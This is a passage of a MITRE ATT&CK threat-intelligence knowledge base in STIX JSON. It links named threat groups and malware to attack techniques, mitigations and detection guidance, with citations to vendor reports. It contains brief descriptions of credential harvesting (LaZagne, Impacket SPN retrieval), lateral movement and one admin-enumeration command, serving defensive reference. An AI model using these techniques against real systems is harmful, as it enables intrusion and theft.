process.","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d37f644-31c5-414e-9a83-cb6fb36b87e0","type":"relationship","created":"2019-06-20T13:58:02.416Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CERT-EU DDoS March 2017","url":"http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf","description":"Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019."}],"modified":"2021-04-14T12:05:32.640Z","description":"Leverage services provided by Content Delivery Networks (CDN) or providers specializing in DoS mitigations to filter traffic upstream from services.(Citation: CERT-EU DDoS March 2017) Filter boundary traffic by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport. To defend against SYN floods, enable SYN Cookies.","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d397a8d-2195-440d-a0f5-bbf6c3e8f6e4","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit Part 2","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"}],"modified":"2020-03-16T23:12:00.321Z","description":"[ADVSTORESHELL](https://attack.mitre.org/software/S0045) stores output from command execution in a .dat file in the %TEMP% directory.(Citation: ESET Sednit Part 2)","relationship_type":"uses","source_ref":"malware--fb575479-14ef-41e9-bfab-0b7cf10bec73","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5d3f0b01-04e0-43d0-9fa5-7d2dd2d3910f","created":"2024-08-22T20:44:17.157Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kandji Cuckoo April 2024","description":"Kohler, A. and Lopez, C. (2024, April 30). Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware. Retrieved August 20, 2024.","url":"https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware"},{"source_name":"SentinelOne Cuckoo Stealer May 2024","description":"Stokes, P. (2024, May 9). macOS Cuckoo Stealer | Ensuring Detection and Defense as New Samples Rapidly Emerge. Retrieved August 20, 2024.","url":"https://www.sentinelone.com/blog/macos-cuckoo-stealer-ensuring-detection-and-defense-as-new-samples-rapidly-emerge/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-23T18:21:39.407Z","description":"[Cuckoo Stealer](https://attack.mitre.org/software/S1153) can search for files associated with specific applications.(Citation: Kandji Cuckoo April 2024)(Citation: SentinelOne Cuckoo Stealer May 2024)","relationship_type":"uses","source_ref":"malware--457a5e8d-d964-4130-bde3-c07bb41a093e","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d3f58bf-2192-46f9-bba3-27e917b75df6","type":"relationship","created":"2020-03-19T23:18:35.459Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Leafminer July 2018","description":"Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east"}],"modified":"2020-03-19T23:18:35.459Z","description":"[Leafminer](https://attack.mitre.org/groups/G0077) used several tools for retrieving login and password information, including LaZagne.(Citation: Symantec Leafminer July 2018)","relationship_type":"uses","source_ref":"intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d4113cb-f652-4214-9585-388422528960","type":"relationship","created":"2019-01-31T01:39:56.555Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"SecureAuth. (n.d.). Retrieved January 15, 2019.","url":"https://www.secureauth.com/labs/open-source-tools/impacket","source_name":"Impacket Tools"}],"modified":"2019-04-18T21:49:12.782Z","description":"[Impacket](https://attack.mitre.org/software/S0357) modules like GetUserSPNs can be used to get Service Principal Names (SPNs) for user accounts. The output is formatted to be compatible with cracking tools like John the Ripper and Hashcat.(Citation: Impacket Tools)","relationship_type":"uses","source_ref":"tool--26c87906-d750-42c5-946c-d4162c73fc7b","target_ref":"attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d43c968-d9d2-4687-949e-23888376f10c","type":"relationship","created":"2021-01-29T19:04:19.978Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Rewterz Sidewinder APT April 2020","url":"https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis","description":"Rewterz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021."},{"source_name":"Rewterz Sidewinder COVID-19 June 2020","url":"https://www.rewterz.com/articles/analysis-on-sidewinder-apt-group-covid-19","description":"Rewterz. (2020, June 22). Analysis on Sidewinder APT Group – COVID-19. Retrieved January 29, 2021."},{"source_name":"Cyble Sidewinder September 2020","url":"https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/","description":"Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021."}],"modified":"2021-07-21T12:24:09.191Z","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) has added paths to executables in the Registry to establish persistence.(Citation: Rewterz Sidewinder APT April 2020)(Citation: Rewterz Sidewinder COVID-19 June 2020)(Citation: Cyble Sidewinder September 2020)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d45479d-7cc2-49cc-8f10-5ead0a1db033","type":"relationship","created":"2020-03-18T19:33:54.619Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-29T17:03:09.817Z","description":"[APT32](https://attack.mitre.org/groups/G0050) enumerated administrative users using the commands net localgroup administrators.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d46a519-1ef9-4cdb-b737-8c7b3ffb4f0e","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Gamaredon Feb 2017","description":"Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"}],"modified":"2020-06-22T17:54:16.033Z","description":"[Pteranodon](https://attack.mitre.org/software/S0147) identifies files matching certain file extension and copies them to subdirectories it created.(Citation: Palo Alto Gamaredon Feb 2017)","relationship_type":"uses","source_ref":"malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d4ba3fe-d782-47e4-ad82-0b81142a5e1a","type":"relationship","created":"2019-02-21T21:17:37.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT39 Jan 2019","url":"https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html","description":"Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."}],"modified":"2021-10-12T23:00:49.638Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used WinRAR and 7-Zip to compress an archive stolen data.(Citation: FireEye APT39 Jan 2019)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d4f48e5-48a1-4ade-ae59-b34824b8181f","type":"relationship","created":"2020-11-20T17:58:59.672Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Lucifer June 2020","url":"https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/","description":"Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}],"modified":"2020-11-20T17:58:59.672Z","description":"[Lucifer](https://attack.mitre.org/software/S0532) has used UPX packed binaries.(Citation: Unit 42 Lucifer June 2020)","relationship_type":"uses","source_ref":"malware--54a73038-1937-4d71-a253-316e76d5413c","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5d5077b6-4490-4762-8b8f-ba4e0655ec67","created":"2023-02-08T19:41:03.256Z","revoked":false,"external_references":[{"source_name":"Palo Alto Brute Ratel July 2022","description":"Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.","url":"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-08T19:41:03.256Z","description":"[Brute Ratel C4](https://attack.mitre.org/software/S1063) can use WMI to move laterally.(Citation: Palo Alto Brute Ratel July 2022)","relationship_type":"uses","source_ref":"tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d52eebf-0bd6-4088-8627-5dfb88f9b551","type":"relationship","created":"2021-01-14T20:08:49.565Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft GALLIUM December 2019","url":"https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/","description":"MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}],"modified":"2021-01-14T20:08:49.565Z","description":"[BlackMould](https://attack.mitre.org/software/S0564) can copy files on a compromised host.(Citation: Microsoft GALLIUM December 2019)","relationship_type":"uses","source_ref":"malware--63c4511b-2d6e-4bb2-b582-e2e99a8a467d","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5d5541d2-a03a-4c96-a696-832dd57c5883","created":"2022-08-23T15:44:14.172Z","x_mitre_version":"0.1","external_references":[{"source_name":"BlackHat API Packers","url":"https://www.blackhat.com/docs/us-15/materials/us-15-Choi-API-Deobfuscator-Resolving-Obfuscated-API-Functions-In-Modern-Packers.pdf","description":"Choi, S. (2015, August 6). Obfuscated API Functions in Modern Packers. Retrieved August 22, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitoring module loads, especially those not explicitly included in import tables, may highlight obfuscated code functionality. Dynamic malware analysis may also expose signs of code obfuscation.(Citation: BlackHat API Packers)","modified":"2022-08-23T15:44:14.172Z","relationship_type":"detects","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d55979e-d4e8-44eb-97d6-e3e78baa60c7","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Scarlet Mimic Jan 2016","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}],"modified":"2018-10-17T00:14:20.652Z","description":"[MobileOrder](https://attack.mitre.org/software/S0079) exfiltrates data collected from the victim mobile device.(Citation: Scarlet Mimic Jan 2016)","relationship_type":"uses","source_ref":"malware--463f68f1-5cde-4dc2-a831-68b73488f8f4","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5d55b1c4-cdf4-4314-881e-ba0c853b1b60","created":"2023-01-10T18:25:13.509Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-10T18:42:11.683Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has used KPortScan 3.0 to perform SMB, RDP, and LDAP scanning.(Citation: DFIR Phosphorus November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d5a903f-d71f-42d5-941b-154d2e06ca78","type":"relationship","created":"2021-09-28T15:15:06.703Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Qakbot May 2020","url":"https://www.trendmicro.com/vinfo/ph/security/news/cybercrime-and-digital-threats/qakbot-resurges-spreads-through-vbs-files","description":"Mendoza, E. et al. (2020, May 25). Qakbot Resurges, Spreads through VBS Files. Retrieved September 27, 2021."},{"source_name":"Crowdstrike Qakbot October 2020","url":"https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/","description":"CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021."},{"source_name":"Kaspersky QakBot September 2021","url":"https://securelist.com/qakbot-technical-analysis/103931/","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021."}],"modified":"2021-10-15T21:32:31.434Z","description":"[QakBot](https://attack.mitre.org/software/S0650) has the ability to use HTTP and HTTPS in communication with C2 servers.(Citation: Trend Micro Qakbot May 2020)(Citation: Crowdstrike Qakbot October 2020)(Citation: Kaspersky QakBot September 2021)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5d5bda78-ea1a-4e73-b663-6105b77728bb","created":"2023-07-27T20:34:55.483Z","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-27T20:34:55.483Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has leveraged SMB to move laterally within a compromised network via application servers and SQL servers.(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5d5c5cd8-b063-46cd-8863-2c85c392012f","created":"2024-08-05T18:23:59.645Z","revoked":false,"external_references":[{"source_name":"Kaspersky Lua","description":"Global Research and Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 5, 2024.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07190154/The-ProjectSauron-APT_research_KL.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-05T18:23:59.645Z","description":"[Remsec](https://attack.mitre.org/software/S0125) can use modules written in Lua for execution.(Citation: Kaspersky Lua)","relationship_type":"uses","source_ref":"malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8","target_ref":"attack-pattern--afddee82-3385-4682-ad90-eeced33f2d07","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5d5fa465-7221-4ba5-9c39-9c51e9e102db","created":"2024-07-30T14:12:52.542Z","revoked":false,"external_references":[{"source_name":"ESET WinterVivern 2023","description":"Matthieu Faou. (2023, October 25). Winter Vivern exploits zero-day vulnerability in Roundcube Webmail servers. Retrieved July 29, 2024.","url":"https://www.welivesecurity.com/en/eset-research/winter-vivern-exploits-zero-day-vulnerability-roundcube-webmail-servers/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-30T14:12:52.542Z","description":"[Winter Vivern](https://attack.mitre.org/groups/G1035) delivered malicious JavaScript to exploit targets when exploiting Roundcube Webmail servers.(Citation: ESET WinterVivern 2023)","relationship_type":"uses","source_ref":"intrusion-set--75a07184-a7e5-4222-95a1-a04dbc96a29c","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5d628e12-47dc-4457-9dbd-a2a86dcdfca0","created":"2024-03-13T21:06:25.506Z","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 3 February 2024","description":"Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-13T21:06:25.506Z","description":"(Citation: Mandiant Cutting Edge Part 3 February 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"malware--d79b1800-3b5d-4a4f-8863-8251eca793e2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5d65efe0-f50e-437a-ad87-801ba0df369e","created":"2022-03-30T14:26:51.832Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Also look for any process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055). Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.","modified":"2022-04-20T00:01:17.415Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d6984fc-52cb-429b-9e68-64e656d9ad30","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/","description":"Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.","source_name":"McAfee GhostSecret"}],"modified":"2019-04-22T22:40:41.233Z","description":"[Proxysvc](https://attack.mitre.org/software/S0238) registers itself as a service on the victim’s machine to run as a standalone process.(Citation: McAfee GhostSecret)","relationship_type":"uses","source_ref":"malware--069af411-9b24-4e85-b26c-623d035bbe84","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d6f0f0e-7479-480a-aaef-92a3e8d8b7c8","type":"relationship","created":"2020-03-06T21:04:12.593Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-06T21:04:12.593Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938","target_ref":"attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5d705563-a639-4ec1-a19d-f797c1c0c078","created":"2022-03-15T19:56:31.108Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.412Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has searched for information on the target company's website.(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5d7d90a4-1ea6-4eca-94bd-3461d9a54229","created":"2021-07-16T18:29:48.908Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB GrimAgent July 2021","description":"Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.","url":"https://www.group-ib.com/blog/grimagent/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:32:39.432Z","description":"(Citation: Group IB GrimAgent July 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"malware--c9b99d03-ff11-4a48-95f0-82660d582c25","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d81254d-9a66-49ea-9635-187da26d4a97","type":"relationship","created":"2021-11-30T19:34:54.217Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"modified":"2021-11-30T19:34:54.217Z","description":"[Gelsemium](https://attack.mitre.org/software/S0666) can enumerate running processes.(Citation: ESET Gelsemium June 